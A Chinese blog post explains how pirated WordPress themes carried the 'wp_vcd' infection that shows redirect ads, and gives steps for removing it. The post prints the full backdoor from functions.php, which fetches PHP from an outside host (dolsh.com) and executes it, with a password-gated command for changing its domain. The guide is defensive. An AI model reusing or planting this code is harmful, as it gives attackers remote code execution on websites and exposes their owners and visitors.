前段时间,折腾主题,就在外国wordpress主题网站下载了一些需要收费的,免费主题,不料,感染了恶意代码,恶意代码就是一些广告,植入在你的主题:functions.php里开头部分,当访客访问你的网站,会弹窗出来一个广告页面跳转到这个网址:deloplen.com 起先我以为是插件的问题,中文搜索,并没有找到源头,于是就谷歌翻译,上外网找到了答案,深受其害的不止我一个人。
通常被感染的主题的functions.php安装如下代码:这个时候ctrl+f 搜索关键字:“ wp_vcd”或“ wp-tmp”删除掉这段代码,保存。
惡意代碼如下:
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
{
$div_code_name = "wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
{
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if (!function_exists('theme_temp_setup'))
{
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
{
if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
{
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
如果你再刷新,这段代码仍在这里面,这说明,wordpress程序其他文件也被感染了,最好的方法就是:更新更新更新,点仪盘表更新,覆盖旧文件。
终极解决方案,亲测有效:无需进行大量此类更改,只需执行以下两个步骤>>
1>仪表板>更新>“立即重新安装”
这将重新安装WordPress的最新版本,覆盖受感染的wp核心文件。
2>现在,在编辑器中打开theme functions.php文件,并删除恶意代码段,(活动主题中,编辑您的functions.php文件,并删除恶意软件插入的所有其他代码。您可以搜索“ wp_vcd”或“ wp-tmp”字样以找到代码。然后单击保存。)
全部做完!这次它将接受文件更改,以从functions.php文件中删除受感染的代码。
检测主题是否有病毒的网站:知乎汇总
最后告诉大家,千万不要尝试去下载来路不明的主题了,谁知道里面被植入了什么病毒插件啥的。
这个方法很好用,谢谢指导。